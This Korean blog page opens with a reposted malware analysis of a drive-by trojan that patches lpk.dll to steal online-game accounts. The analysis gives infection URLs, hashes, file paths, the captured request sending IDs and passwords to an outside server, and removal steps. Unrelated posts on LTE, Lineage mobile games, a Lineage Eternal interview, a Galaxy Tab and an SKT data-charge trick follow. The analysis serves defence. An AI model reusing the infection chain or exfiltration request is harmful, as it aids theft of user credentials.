오늘은 악성코드에 대해 알아보겠습니다.

온라인 게임과 더불어 다른 게임의 계정을 해킹하는 코드들입니다.

잘보고 따라해주시기 바랍니다.

ws2help.dll 시스템 파일을 패치 -> 온라인 게임 계정 탈취 파일들

벌새님이 너무 정리를 잘해주셨습니다.

출처 : http://hummingbird.tistory.com/3033

주말을 이용하여 웹하드 등 국내 유명 사이트들이 제로데이(0-Day) 취약점으로 추정되는 악성코드로 인하여 보안 패치가 완벽하게 이루어진 시스템에서도 자동 감염이 이루어질 수 있는 부분을 발견하였습니다.


Windows 7 + Internet Explorer 9 환경에서 악의적으로 변조된 인터넷 사이트에 접속할 경우 사용자 계정 컨트롤(UAC) 기능을 통해 사용자 몰래 다운로드되어 실행되려는 scvhost.exe 파일의 허용 여부를 묻는 창이 생성되는 것을 확인할 수 있습니다.

만약 Window XP + Internet Explorer 8 환경에서는 위와 같은 UAC 보안 기능이 없으므로 해킹된 인터넷 사이트에 접속하는 동작만으로 자동으로 감염되는 것을 확인하였으며, 감염 후 자동으로 웹 브라우저가 종료되는 현상이 발생하는 현상도 있습니다.


만약 해당 창에서 사용자가 [예] 버튼을 클릭할 경우 감염으로 연결이 이루어지며, [아니요]를 클릭할 경우에는 [C:\Users\(사용자 계정)\AppData\Local\Temp\Low\scvhost.exe] 파일을 찾아 수동으로 삭제하시면 됩니다.

참고로 scvhost.exe(MD5 : 92a8a413f2597e737920db00f20768c0) 파일에 대해서는 nProtect 보안 제품에서 Trojan/W32.Agent.83490 (VirusTotal : 17/42) 진단명으로 진단되고 있으며, 알약(ALYac) 2.0 보안 제품에서는 Trojan.Dropper.OnlineGames.mi32 진단명으로 진단됩니다.


[악성코드 유포 경로 및 진단 정보]

h**p://174.1**.224.**/help.html
 ㄴh**p://174.1**.224.**/main.swf
h**p://174.1**.224.**/ad.html
 ㄴ h**p://174.1**.224.**/bin.html :: CVE-2010-0806 취약점
   ㄴ h**p://174.1**.224.**/help.txt(암호화) -> scvhost.exe

main.swf (MD5 : b45163febcc2a91950a636bac5369c11)
 - nProtect : Trojan-Exploit/W32.SWFlash.3824.IZ (VirusTotal : 1/42)

bin.html
 - nProtect : Script-JS/W32.Agent.CEC (VirusTotal : 12/42)

유포되는 사이트에서는 2개의 악성 스크립트 파일을 통해 Internet Explorer 웹 브라우저의 CVE-2010-0806 취약점과 Adobe Flash Player 취약점을 이용하는 것으로 보입니다.

하지만 해당 보안 패치가 이루어진 환경에서도 Windows XP 환경에서는 자동 감염이 이루어지고, Windows 7 환경에서도 정상적으로 파일 다운로드가 된다는 점에서 알려지지 않은 새로운 Adobe Flash Player 취약점이 포함되어 있는 것이 아닌가 추정됩니다.

[생성 폴더 / 파일 등록 정보]

C:\Program Files\%NXU32YHysu3YDU3IDd46TGh%
C:\Program Files\%NXU32YHysu3YDU3IDd46TGh%\6549302827346110393.exe
C:\WINDOWS\system32\2011612204611.dll :: 해당 파일은 2011(Random 9~10자리 숫자).dll 유형, lpk.dll 백업 파일(정상 파일)
C:\WINDOWS\system32\lpk32.dll :: lpk.dll 백업 파일(정상 파일)
C:\WINDOWS\system32\lpk.dll :: lpk.dll 패치 파일(악성 파일), 변경 전 파일 크기 - 22,016 Bytes / 변경 후 파일 크기 - 33,586,058 Bytes
[생성 파일 진단 정보]

C:\Program Files\%NXU32YHysu3YDU3IDd46TGh%\6549302827346110393.exe
 - MD5 : 3C6B2938356F9AB3D406538BD6228FEE
 - Hauri ViRobot : Trojan.Win32.PSWIGames.33598862

C:\WINDOWS\system32\lpk.dll
 - MD5 : 13E9EE212FBFB0263309F87054958A34
 - AhnLab V3 : Trojan/Win32.OnlineGameHack


해당 악성코드에 감염된 PC는 정상적인 lpk.dll(Language Pack) 파일을 패치하여 lpk32.dll 파일로 백업을 하고, 악성 lpk.dll 파일은 정상적인 시스템 파일처럼 다양한 프로세스에 추가되어 사용자의 눈을 속이고 있습니다.

악성 lpk.dll 파일은 기존의 유사한 감염 방식으로 꾸준하게 발견되고 있으며, 국내 온라인 게임 피망, 넷마블, 메이플스토리, 던전앤파이터 등의 계정 정보를 탈취할 수 있습니다.

GET /ooo/net/mail.asp?a1=1&a3=(넷마블 ID)&a4=(비밀번호) HTTP/1.1
User-Agent: WinInet
Host:
www.iiiigame.com
Cache-Control: no-cache

실제 감염된 환경에서 넷마블 사이트에서 로그인을 시도할 경우 미국(USA)에 위치한 174.128.224.107 서버로 계정 정보를 이메일을 통해 전송하는 동작을 확인할 수 있습니다.

만약 보안 제품으로 문제가 해결되지 않는 분들은 다음과 같은 절차에 따라 수동으로 해결하시기 바랍니다.

먼저 모든 프로그램을 종료한 상태에서 다음의 폴더, 파일을 수동으로 삭제하시기 바랍니다.

  • C:\Program Files\%NXU32YHysu3YDU3IDd46TGh%
  • C:\Program Files\%NXU32YHysu3YDU3IDd46TGh%\6549302827346110393.exe
  • C:\WINDOWS\system32\2011(Random 9~10자리 숫자).dll

다음으로는 lpk.dll 파일의 확장자명을 다음과 같이 변경합니다.

  • C:\WINDOWS\system32\lpk.dll → C:\WINDOWS\system32\lpk.dll-

사용자가 악성 lpk.dll 파일의 확장자를 변경하면 윈도우 파일 보호(WFP) 기능으로 자동으로 정상적인 lpk.dll 파일이 복원되므로 참고하시기 바랍니다.

파일 확장자를 변경한 후에는 반드시 시스템 재부팅을 한 후, 다음의 파일을 수동으로 삭제하시기 바랍니다.

  • C:\WINDOWS\system32\lpk32.dll
  • C:\WINDOWS\system32\lpk.dll-

위와 같이 문제를 해결한 후에는 반드시 유명 보안 제품을 이용하여 시스템 정밀 검사를 하시기 바라며, 온라인 게임 해킹 예방을 위해 본인이 이용하시는 온라인 게임 계정 비밀번호를 변경하시기 바랍니다.

이번 사례의 경우에는 보안 패치가 잘 이루어진 환경에서도 자동 감염이 예상되므로 매우 주의하시기 바라며, 악성코드를 유포하는 인터넷 사이트는 되도록 이용하지 않도록 하시는 것이 차후에도 유사한 공격을 예방할 수 있는 방법입니다.





쏠쏠한 이야기도 이야기의 맛이지만

기사또한 재미있는 놀이 거리입니다.

기사부터 봅시다.

요즘 한국에선 4G다 뭐다 하면서 LTE 3G의 약 4~10배까지 차이나는 속도로 LTE 서비스를 하고있습니다.

현 실정은 트래픽에 겁을 먹어 각 통신사마다 무제한 요금제를 출시하지않고있구요.

이제 곧 5G을 개발하여 1000배의 속도로 한다는데 지금 트래픽도 감당못하는데 과연 그건 어찌 감당하려할가요

배부른자가 더욱 배불러지려고 하다보면 어느샌가 망한다는 소리를 들어보았습니다.

그런 꼴이 되지 않길 바랄뿐이죠.


갤럭시 노트를 개통하려했지만 너무 비싸서 왔습니다.

64요금제를 사용하면 거의 7~8만원돈을 내야하는데 그정도를 낼바엔 모아서 해외판을 사고말지라는 생각까지 들더군요

이런 한국에 너무 비싼 핸드폰가격 해외처럼 핸드폰을 사려면 기게를 싸게 사는 그런 서비스가 언제쯤 올가요. 기대합니다.
유입 경로 검색어중에 모바일 리니지라는게 있어서 글을 작성해봅니다.

얼마전에 리니지 사이트가 모바일로 바뀌어 스마트폰 시대의 스마트폰 유저들에게 큰 돌풍이 불고 있습니다.

음 모바일 페이지라하면 작고 아기자기하면서 이쁜 그런거 말하는건가 !?

일단 구경 부터 합시다 ㄲㄲ


 음 뭔가 색상이 알록달록 하지도 않고 단색으로 깔끔한 처리한 이 모바일 리니지 사이트 너무이쁩니다.

제가 좋아하는 컬러톤이구요 ..아이시떼루 ~~ ㅠㅠ

에잇 이럴떄가 아니지 ! 내 본분을 다해야죠 !! 블로그 포스팅 작성  ?! 응? 난 학생인데 뭐래니 .

쩃든 잡소리 치우고 이어갑니다.

 리니지, 모바일 웹 서비스 오픈
캐릭터 접속현황 및 아이템 시세 검색, 게시판, 파워북 등 이용 가능

575*386 (+)

 

㈜엔씨소프트(대표 김택진)는 2010년 공개한 ‘아이온 모바일 웹’에 이어 4월 26일 ‘리니지 모바일 웹’을 공개했다. 이제 스마트폰에서도 리니지 공식 홈페이지를 만나볼 수 있다.
 
‘리니지 모바일 웹’은 아이폰, 안드로이드폰 등 스마트폰에서 이용할 수 있는 모바일 전용 웹 서비스로, 기존에 게임 내에서만 확인이 가능했던 ‘캐릭터 접속현황’, ‘착용장비’, ‘창고내역’ 등 게임과 관련된 자세한 정보를 제공한다.
 
특히 ‘아이템 시세 검색’ 기능으로 현재 상점에 올라온 아이템들의 시세와 지난 거래 통계가를 찾아볼 수 있어 아이템 거래를 위한 유용한 정보를 제공한다. PC를 이용할 수 없는 상황에서 본인의 개인상점 현황도 조회할 수 있어 상점관리가 더욱 편리해진다.
 
또한 ‘서버 게시판’, ‘이미지 게시판’, ‘지식인챈트’ 등의 각종 게시판을 통해 언제 어디서나 글을 읽고 쓰는 것이 가능해져 유저 간의 의사소통이 더욱 활발해질 것으로 보인다. 이밖에 리니지 게임정보가 담긴 ‘파워북’, 유명 작가가 연재하는 ‘카툰’ 등의 콘텐츠도 제공한다.
 
윤희경 엔씨소프트 모바일서비스실장은 “현재 ‘아이온 모바일 웹’도 하루 10만에 가까운 유저들이 찾는 필수 서비스가 됐으며, 점점 더 이용자가 상승하는 추세를 보인다”며, “게임 유저들의 모바일 서비스에 대한 니즈가 큰 만큼, 앞으로 리니지에 이어 다른 게임들에 있어서도 게임의 즐거움을 확장할 수 있는 다채로운 모바일 서비스들을 제공할 예정”이라고 전했다.
 
리니지 홈페이지 : http://lineage.plaync.co.kr

Copyright ⓒ 게임어바웃

스마트폰 시대에 발을 맞추어 리니지 사이트도 모바일 웹을 통한 커뮤니케이션 극대화 , 물건 아이템 거래의 최적화를 만들기 위해 이런 발표를 했었군요....


음 많이 발전해가는 모습 좋긴하지만. 너무 생활화된 스마트폰 중독적인 스마트폰은 않좋습니다.

이제 모바일 리니지 게임으로 가볼가요 ? ?

필자는 해본 적이 없지만 자료는 모아 봤습니다.

일단 다운로드 하실 분을 위해 위치를 알려드립니다.

좌표 투척 펑~
소개 해드릴 게임은 

1.리니지포션팡팡

네이트->게임존->전략/육성/RPG->온라인게임RPG->리니지모바일->

리니지모바일게임->리니지포션팡팡

2.리니지공성영웅전

네이트->게임존->전략/육성/RPG->온라인게임RPG->리니지모바일->

리니지모바일게임->리니지공성영웅전

3.리니지 포켓캡슐

네이트->게임존->전략/육성/RPG->온라인게임RPG->리니지모바일->

리니지모바일게임->리니지 포켓캡슐

4.리니지 몬퀘스트(추천)

네이트->게임존->전략/육성/RPG->온라인게임RPG->리니지모바일->

리니지모바일게임->리니지 몬퀘스트

가 되겠습니다.~~ 설명 들어갑니다.

1. 
포션(물약)의 같은 색을 3개이상 맞추면 사라지는 간단한 게임방식

이지만, 색이 다른 포션의 입구끼리 만나도 사라지는 특별한 전략
과,고기를 모아 귀여운 강아지를 테이밍하여 몬스터를 물리치거나,
몬스터의 방해공작을 이겨내는 재미난 요소가 가득합니다.


2. 
장비 업그레이드를 통한 액션은 기존의 액션게임에서는 볼 수 없었던 짜릿한 타격감을 선사합니다.

 

또한 몬스터를 물리칠때마다 얻는 경험치와 공성완료 횟수에 따른 랭킹을 다른 플레이어들과 비교해 볼 수 있으며, 실제 리니지에서 사용할 수 있는 아데나 등 푸짐한 경품을 드립니다.

3.
어깨가 처져 있을 때는 리니지 미니어처가 책상 위에서 나를 바라보 며 응원과 격려를 보내줄 거구요, 입가에 배시시 웃음이 번지면 리니지 미니어처도 따라 웃으며 기쁨을 두배로 만들어줄 거예요. 리니지포켓캡슐은 온라인게임 리니지에 등장하는 캐릭터, 드레곤, 몬스터 등의 미니어처(모형물)를 비롯한 다양한 캐릭터 상품을 소재로 한 게임이에요.

 

캡슐뽑기게임을 통해 상품캡슐을 뽑거나 일정수량의 다이아몬드를 획득하면 리니지 미니어처 및 열쇠고리/골드스티커/타임쿠폰 등 다양한 상품을 실물로 받을 수 있구요, 랭킹서버에 저장한 포인트에 따라 리니지 아이템이나 고가의 캐릭터상품 등을 추가로 얻을 수 있답니다.

4.
리니지의 몬스터를 조작하여 전투를 통해 경험치를 얻으며, 획득한 아데나를 통해 다양한 아이템 구입및 게렝으로부터 마법을 배우는 등 드래곤으로 변해가는 몬스터의 아기자기한 변화를 즐기실 수 있습니다.

 또한 여러분이 성장시킨 몬스터의 랭킹을 몬퀘스트를 즐기는 다른 플레이어들의 몬스터들과 비교해 볼 수 있으며. 여러분의 랭킹에 따라 실제 리니지에서 사용할 수 있는 아데나 지급 및 다양한 경품을 드립니다.

 디스 인티그레이트를 구사하며, 용비늘갑옷을 입는 최강의 몬스터를 언제 어디서나 직접 손으로 키워보세요! 

/
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필자의 생각

1번은 그냥 그림 맞추기 처럼 보이네요.

2번은 RPG 시스템의 키우기 노가다 게임으로 보여지구요.(나름 재미있겠녜요 RPG 좋아하시는분과  리니지 좋아하시는분이라면 더더욱)

3번은 도박으로 밖에 안보여요 ..어쩌죠..... 경품 게임이라지만 .ㅠㅠ

 도박은 생명의 위협을 주니 조심하시기 바랍니다.

4번은 RPG에서도 엄청난 전투 RPG인것 같습니다...

아기자기한 캐릭터의 변화등등 몬스터헌터를 연상케 할지도 모르겠네요.

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1번 리니지 포션팡팡 중단되었네요... 역시 재미없어


2번 리니지공성영웅전은 그래픽이 후지네요 쓰레기 .............근데 좋다고해야하나 ...


3번 리니지 포켓캡슐

리니지라는 게임이라해서 .기대했는데 고작 그냥 일반적인 게임입니다.

후회 후회 진상..


4번 리니지 몬퀘스트입니다. 이건 기대하는데 ..제발

그나마 기대한건데 이것마저 전 버림 받았답니다.


으앙... 결국 뻘짓...

이와같이 여러가지의 리니지 게임을 알아보았네요.

즐거운 하루가 되시길 기대합니다.  Happy New Year~!!


 

 

 


 


 
 

니지 이터널

http://event.plaync.co.kr/Gstar/2011/le/


와우 확실히 다르긴 달라도 뭔가 많이 크고 다르네요 ...오우 ..자세한 스펙 사양 정보등은 나오지 않은 상태이지만

이정도면 제 예상 컴퓨터 사양은

코어2듀오 2.6 ~3.0급 이상 일 것 같구요.

그래픽은 최소 9600이고 권장이 GTX  시리즈 일거라 예상되는바입니다.

일단 관련기사를 한번 읽어봐야 할 것 같습니다.

리니지이터널, 핵심 개발자와의 인터뷰

엔씨소프트는 8일 2011 지스타 프리미어 행사를 통해 신작 리니지이터널를 공개하고 개발총괄 조임수 PD를 비롯하여
핵심개발자들과 질의응답 시간을 가졌다.


아래는 질의응답을 정리한 내용이다.




= '드래그 스킬'이라는 개념이 발표됐다. 엔씨소프트만의 특허 보유 기술이라고 밝혔는데 구체적으로 어떻게
특허를 받았는지 궁금하다.

다양한 동작이 있다. 화면에 보이는 적들 위로 궤적을 그려주면 해당 범위에 기술이 발동되는 방식도 있다.
또한, 스킬 범위의 길이와 효과범위를 선택할 수 있는 등 포괄적인 면에서 특허를 받았다.



= 아이온, 블레이드앤소울 이후에 왜 리니지라는 IP로 돌아오게 됐는지 궁금하다. 개발진척 상황은?

왜 리니지인지 물어보셨는데 리니지에서 내려오는 가치들이 오래되었고 현대적으로 재해석 하고 싶었다.
멋지게 보여주고 싶었다.


전작들도 많은 유저층을 가지고 있고 유저층이 선호하는 브랜드가치가 있다고 생각하기 때문에
대박부터 작은 캐주얼 게임까지도 리니지 IP를 노력하려는 시도는 계속되고 있다.


개발 진척 상황은 프토토타입 단계라고 보면 된다.



= 2000년도 초반에 리니지 포에버라는 프로젝트가 가동된 것으로 알고 있는데 리니지이터널은 그 게임의 연장선인가?

회사안에서 리니지를 사용하는 여러가지 게임이 있었다. 사내에서 개발되는 MMORPG 들 상당수에
리니지포에버라는 이름을 붙여온 것은 사실인데, 그건 일반적으로 말하는 '개똥이'란 이름과 비슷한 개념이다.
이번에 발표한 리니지이터널은 완전히 별개의 프로젝트다.





= 영상을 보면 MMORPG 라기 보단 MORPG에 가깝다.

이번 영상에서 사실 그렇게 비춰질 까봐 걱정을 많이 했다.


그래서 일부러 보스 플레이랑 단체 플레이를 어필하려고 했었다. MMORPG가 분명하다.
수십, 수백명이 한번에 뒤섞이는 PVE, PVP를 선보일 예정이다.


던전 입구부터 핵심부까지 돌파하는 게임플레이가 재밌다고 생각하기 때문에 '인던 개념'을 적극 활용할 예정이다.
또한, 다른 유저들과 함께 공유하는 지속적인 월드도 있을 예정이지만 그 비율을 지금 시점에서 말하기는 어렵다.



= 리니지이터널이 언제쯤 시작됐나?

본격적으로 개발한 건 3년쯤 됐다.


= 타겟 이용층은 ?

특정타겟을 잡기 보다는 다양한 고객층의 니즈를 맞추려고 노력 중이다.


= 리니지이터널의 전체 개발자 수가 궁금하다.

80명 정도 있다.




= 오늘 직업을 3종류 공개했는데 앞으로 어떤 직업이 있을 예정인가?

지금 정확하게 말하기 어렵다. 오늘 소개한 3개 직업 외에 2,3개의 직업을 추가하기 위하여 적극적으로
기획을 준비 중인데 각 클래스의 완성도에도 신경을 많이 쓰고 있다.



= 지스타에서 플레이 영상이 공개될 예정인데 유저들에게 가장 어필하고 싶은 부분은?

'우리가 생각하는 전투 경험은 이런 것이다.'를 강조하고 싶다. 단순히 때리는게 아니라 공방요소가 존재하고
다양한 주변 오브젝트를 사용하는 등 새로운 전투 경험을 소개해드리고 싶었다.



= 액션이 상당하다. 콘솔용으로도 출시할 계획이 있나?

아직은 계획이 없다.


= 전투 진행 과정에서 캐릭터들의 수가 많이 등장한다. PC 부하가 상당할 것같은데 어느 정도 PC 사양을 목표로 하고 있나.

최고 사양을 잡고 있지는 않다. 최대한 많은 유저들이 플레이할 수 있도록 만들 것이다.




= 환경 오브젝트가 파괴되는 장면이 있었는데 어느 수준까지 가능한다.

모든 것이 파괴가능한 개념은 아니고 전투를 재밌게 하는 요소 정도로 생각 중이다.


= 게임엔진은 무엇인가?

자체 개발 엔진이다.


= 쿼터뷰와 마우스를 활용한 드래그 스킬을 선택한 이유는?

집단의 경험보다 집단 안의 나의 경험이 중요하다고 생각했고,
그것을 강조하기 위해 내가 주인공이 되는 '뷰'를 선택했다.


내부적으로는 '스마트뷰'라고 부른다. 사실 계속 고정되는 '쿼터뷰'라고 보긴 어렵다. 대규모 전투에서는
위에서 내려보는 뷰로, 보스전에서는 어깨 위로 보이는 뷰로 적절한 시점을 찾아 계속해서 바뀌는 개념이다.


내부적으로 내세운 가치 중에 '쉽고 재미있어야 한다.'가 있는데 그런 부분을 구현하기 위해서 마우스를 활용했다.



= 전투할때 피하고 막는, 공방 요소에 대해 말했는데 '회피' 개념은 영상에서 보지 못했던 것 같다.

몬스터가 사용하는 스킬중에 일부분은 미리 힌트를 주고 그것을 인지해서 피할 수 있는 상황이 있는데
이번 영상에는 보여주지 못했다. 실제 맞는것처럼 보이는 순간에 판정이 일어나기 때문에
칼이 날아오는 것을 피하는 것이 가능하다. 플레이를 해보면 더 직관적으로 느낄 수 있을 것 같다.



= 영상을 보면 물리효과를 적용한 것 같은데 어느 정도까지 구현했는지 궁금하다.

기술적으로 '랙달'이라고 표현하는데 기존에 없던 애니메이션을 표현하기 위해 물리엔진을 적극 도입했다.
온라인 환경에서 가능한 범위 안에서 최대한 예기치 않은 동작들이 나온다.


어떤 경우에는 카메라쪽으로 몬스터가 날아오는 장면도 만들 수 있는데 플레이하는 즐거움을 더욱 주는 쪽으로 구현했다.



= 한 화면에 얼마나 많은 수의 캐릭터 표현이 가능한가.

지금까지 게임중에서 이정도로 많은 캐릭터가 표현되는 게임은 아마 없을 것이다.


최대한 많은 캐릭터가 표현되도록 하는 것이 목표다. 영상에서 보여진 것은 500명 정도의 몬스터와 캐릭터가
함께 전투하는 장면이다. 최적화를 통해서 PC 사양에 따라서 적절히 캐릭터 표현 수를 조절할 수 있도록 할 계획이다.





= 공성전이 가능한가? 가능하다면 그 주체는 리니지를 대표하는 '혈맹'인가?

대규모 전투라고 표현한 것도 '공성전'에 한정 짓지 않기 위해서다.
다양한 대규모 PVP, PVE가 준비되어 있을 것이지만 기존 리니지의 공성전과는 조금 다른 형태로 구상하고 있다.
커뮤니티의 기본 단위도 '혈맹'과는 조금 다를 것이다. 아직 논의가 활발한 부분이라 단정적으로 말하기는 힘들다.



= 지금까지의 리니지들이 스토리텔링에 약하다는 평가를 많이 받았는데.

사내,외 적으로 스토리텔링에 대한 요구는 많아졌고 특히 사장님도 매우 강조하고 있다.
더 잘하고 싶다는 개발자로서의 욕심이 분명 있고 다양한 시도를 하고 있다.


유저들이 게임에 몰입하면서 어떻게 하면 게임 속에서 벌어지는 스토리 요소를 잘 받아들일지 연구 중이다.



=이전 리니지 시리즈는 엔드 컨텐츠로 개발자가 제공하는 레이드같은 컨텐츠보다는
유저들이 스스로 만들어가는 컨텐츠에 집중해 왔는데 이번 리니지이터널은 어떤가?

당연히 둘 다 제공할 예정이다. 공성전이라고 할 수는 없지만 '쟁탈개념'이 있는 PVP가 있을 것이며
유저들과의 관계에서 생겨나는 커뮤니티적인 즐거움이 발생할 수 있도록 준비 중인 컨텐츠도 있다.



= 리니지에서 등장했던 인물들이 여기에서도 등장하나. 시간 상으로는 언제쯤인가?

당연히 리지니 IP를 이용한 이상 친숙하게 다가왔던 NPC들을 적극적으로 사용할 것이다.
데스 나이트라든지 버그베어라든지 다양한 인기 캐릭터를 고민 중이다. 리니지와 리니지2의 중간쯤이다.



오랜 기간이 걸리더라도 분명 출시할거라 믿습니다..

이만 Dreamer의 리뷰 였습니다.

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헉! 또 나왔다 '갤럭시탭 7.0 플러스' 공개


봉성창 기자 bong@zdnet.co.kr 2011.10.02 / PM 02:08 갤럭시탭7.0플러스, 삼성전자

삼성전자가 신제품 태블릿 ‘갤럭시탭 7.0 플러스’를 공개했다.

 美 씨넷은 30일(현지시간) 삼성전자가 안드로이드 3.2 허니콤 기반 태블릿 갤럭시탭 7.0 플러스를 공식 발표했다고 보도했다.

 갤럭시탭 7.0 플러스는 1.2GHz 듀얼코어 프로세서와 1GB 메모리가 탑재됐으며 802.11n 와이파이와 HSPA+ 통신 기능을 지원한다.

▲ 갤럭시탭 7.0 플러스
메모리 용량에 따라 16GB와 32GB 두 모델이 제공되며 마이크로SD 슬롯을 통해 최대 32GB 용량을 추가할 수 있다.

해상도는 전작과 동일한 1024x600이며 디스플레이는 PLS LCD가 탑재됐다. 두께는. 9.96mm이며 무게는 345g으로 전작 갤럭시탭 7인치에 비해 얇고 가벼워진 점이 특징이다.

삼성전자는 지난해 7인치 갤럭시탭을 출시하면서 태블릿 시장에 본격적으로 뛰어들었다. 이후 갤럭시탭 10.1인치와 8.9인치, 7.7인치 제품을 차례대로 선보였다. 즉 갤럭시탭 7.0 플러스는 삼성전자의 다섯번째 태블릿 제품이다.

갤럭시탭 7.0 플러스는 인도네시아와 호주 시장을 시작으로 전 세계 시장에 10월 말부터 차례대로 출시될 예정이다. 구체적인 판매 가격은 공개되지 않았다.

씨넷은 신제품 발표를 두고 삼성전자가 다양한 화면 크기의 제품을 선보여 소비자들에게 선택의 폭을 넓혔다고 평가했다. 또한 비슷한 시기에 발표된 아마존의 안드로이드OS 기반 7인치 태블릿 킨들파이어와 직접적으로 경쟁할 것으로 보인다고 분석했다.







갤럭시탭7.0+는 전작 갤럭시탭7.0과 디자인은 같지만 성능은 상승 

성능은 안드로이드(OS) ‘허니컴’을 탑재한 ‘갤럭시탭 7.0 플러스’는 7인치 화면에 듀얼코어1.2GHZ 입니다.

거기에 345g에다 두께는 9.96mm정도라 합니다. 반올림 하면 1cm이죠 ㅎㅎ .

전 제품보다 슬림하고 좋아졌습니다.

300만화소 카메라(720P HD촬영)라 하는데 카메라 화소수가 떨어지네요.

1GB 메모리가 탑재됐으며 802.11n 와이파이와 HSPA+ 통신 기능을 지원합니다.

HSPA+는  3G보다 빠릅니다.!

1024x600의 해상도를 갖췄으며 PLS LCD 디스플레이가 탑재됩니다.




  일반 :: (SKT) 데이터 통화료 거의 안 내는 법
지니레카(jinnylexa)  2011-08-28 23:39:16, 조회 : 1169

게임이나 음악 등을 핸드폰에서 다운받을 때, 데이터 통화료라는 게 발생합니다.



게임 업체나 음반 업체가 아니라, 통신사에서 가져가는 부분이지요(....).



예를 들어 4000원짜리 게임 용량이 3000kb가 넘어가는 경우, 데이터 통화료가 7000원 가량 발생한다든지 하는 식입니다(.....).



이것 때문에 게임을 한 달에 한번씩만 받는다 라든지, 통화료 많이 나오니까 게임 안 받는다든지 하는 경우가 있는데



SKT 텔레콤의 경우 데이터 통화료를 거의 안 내고 게임 등을 받을 수 있는 방법이 존재합니다.

(KT도 가능하지만 별도의 방법이니 따로 언급하겠습니다.)



1. 데이터 케이블이 있는 경우

=> 컴퓨터에 데이터 케이블을 꽂고서 핸드폰에 연결해서 직접 다운받는 경우.

- 이건 당연히 통화료 무료. 하지만 데이터 케이블이 있는 사람은 드물죠(저는 예전에 잃어버렸습니다) 케이블이 필요한 경우에는 핸드폰 대리점에서 수천원 대에 구매할 수 있습니다.



2. SKT의 데이터 요금제를 교묘히 이용하는 경우(.....)

=> 핸드폰에서 T 서비스 항목의 <M고객센터 접속>에 들어가면, 각종 요금제 확인이나 실시간 요금 확인, 요금제 변경 등을 할 수가 있습니다. M고객센터 자체는 통화료가 무료입니다. (단, 시골 지역의 경우 M 고객센터 접속이 안되거나 유료일 경우가 있지만, 그 경우에는 미리 경고창이 뜹니다;;)



핸드폰에서 직접 M 고객센터에 들어가거나, 컴퓨터에서 http://tworld.co.kr 홈페이지에 들어가면 자신의 데이터 요금제를 실시간으로 신청/해지할 수가 있습니다. 물론 두가지 경우 모두 본인인증을 한 상태여야 하는데, 이건 한번 해두면 계속 유용하니까 큰 맘 먹고 본인인증 해두세요.(어렵지 않습니다)



자, 준비가 되었다면, 이제 말씀드릴 6가지 데이터 요금제 중에서 하나를 선택하세요.

(그곳에 있는 검색창에서 "데이터"라는 3글자를 치면 나옵니다)



1) 안심데이터 100

2) 안심데이터 150

3) 안심데이터 190

4) 데이터존프리 135

5) 데이터존프리 185

6) 데이터존프리 225



데이터 요금제 이름 옆에 붙은 숫자는 X100해서 한달 요금입니다. 데이터존프리는 한달 22500원짜리(...).



그런데 흥미로운 사실은, 저 6가지 데이터 요금제 중에서 하나를 선택해서 가입한 다음에 게임을 받고 나서, 30분쯤 있다가 데이터 요금제를 해지시키면 결과적으로 데이터 통화료가 최대 100원에서 최소 몇원 정도 나온다는 겁니다(.....). 일반적으로 피쳐폰 게임보관함 용량이 최대 60메가밖에 안되는데(그나마도 게임의 원활한 진행을 위해서는 보관함 용량의 2~3메가 정도는 비워두어야 합니다. 하드디스크가 최소 10기가 - 원활한 진행을 위해서는 15~20기가 - 정도는 비워두어야 컴퓨터 속도가 느려지지 않는 것처럼 말이죠.) 핸드폰 게임보관함에 게임을 죄다 다운받는다 하더라도 60메가어치를 다운받을 뿐이란 거죠.



안심데이터 100의 경우에는 한달에 데이터 500메가를, 안심데이터 150은 1기가를, 안심데이터 190은 2기가를 다운받을 수 있습니다.(데이터존프리는 안심데이터에다가 프리존 정액제를 덧붙인 것입니다. ...프리존은 별로쓸 일이 없죠. 데이터존프리 135도 데이터 500메가짜리이고, 데이터존프리 225는 2기가 짜리입니다.)



데이터 요금제의 경우 일할계산과 비율계산의 방법으로 요금계산이 되는데, 쉽게 말씀드리자면 한달에 만원짜리 안심데이터 100의 경우 하루에 333원씩 받는다는 거죠. 8월 3일날 안심데이터 100가입해서 8월 4일날 안심데이터 100해지하면 333원의 요금이 나옵니다.



그리고 500메가의 30분의 1은 16.7메가 정도가 됩니다. 60메가 정도를 다운받고 나서 안심데이터 100을 해지하면 1000원 조금 넘게 나오겠네요.



하지만 안심데이터 150이나 안심데이터 190의 경우에는 아예 한달 1기가, 2기가 짜리이므로, 데이터 요금제 가입하고 60메가를 다운받고 나서 30분 뒤에 데이터요금제를 해지한다 하더라도 몇백원 밖에 안나온다는 계산이 됩니다.



단, 주의해야 할 것은 <날짜를 넘기면> 안된다는 겁니다. 게임 다 받고 나면 30분 뒤에 데이터요금제 해지를 해야 합니다(Tworld.co.kr 이나 핸드폰의 M고객센터에서 나의 요금제 조회 후 데이터 요금제를 간단히 해지할 수 있습니다). 데이터존프리 225의 경우 하루에 750원씩 나옵니다(가입하고 나서 하루 넘기면 안되는 요금제;;;). 게임 다 받고 나서 30분 후에 데이터 요금제를 해지하면 요금이 날짜로 계산되어 나오는 게 아니라 용량비율로 계산되어서 나옵니다. 실제로는 한번에 60메가 다운받을 일이 거의 없으므로(3000kb 게임 10개 받는다 해도 30메가밖에 안됨. 이거면 핸드폰 게임보관함 용량의 절반이 넘어감) 이 방법대로 하면 데이터 통화료를 거의 안 내고 게임을 받을 수 있습니다.



그런데 이 방법에서 주의할 점이 몇 가지 있습니다.



1) 데이터 요금제 가입 확인 메시지가 온 후에 조금 기다렸다가 게임을 받자

=> 가입 확인 메시지를 받은 후에 핸드폰 인터넷에 접속해야 요금제가 제대로 먹힙니다.



2) 핸드폰 인터넷에서 우왕좌왕 시간을 보내지 말고 받을 것만 딱딱 받자.

=> 핸드폰 인터넷에 접속되어 있는 동안에는 계속해서 용량이 소모되고 있는 겁니다. 서투르게 몇 분간 시간을 보내면 정작 게임을 받는 것보다 요금제 용량 소모가 큰 겁니다;; GXG나 네이버, 다음, 티월드 등의 컴퓨터 홈페이지에서 게임다운버튼을 클릭해두면 핸드폰으로 문자메시지가 오는데, 이걸 이용해서 다운받는게 용량 소모를 최소화할 수 있습니다.



제 경우에는 이미 다운받을 게임을 머릿속으로 결정해 두고, 데이터 요금제 가입 후에 핸드폰으로 직접 게임보관함에서 접속해서 메뉴 찾아들어가 다운받습니다. 바로가기 등을 만들어 놓으면 빨리 가기 편합니다. 특히 재다운로드 보관함은 바로가기를 필수로 만들어 놓아야 합니다.



3) 게임을 다 받은 후에는 마지막으로 게임을 받은 시간으로부터 30분 후에 반드시 해당 데이터 요금제를 해지하자.

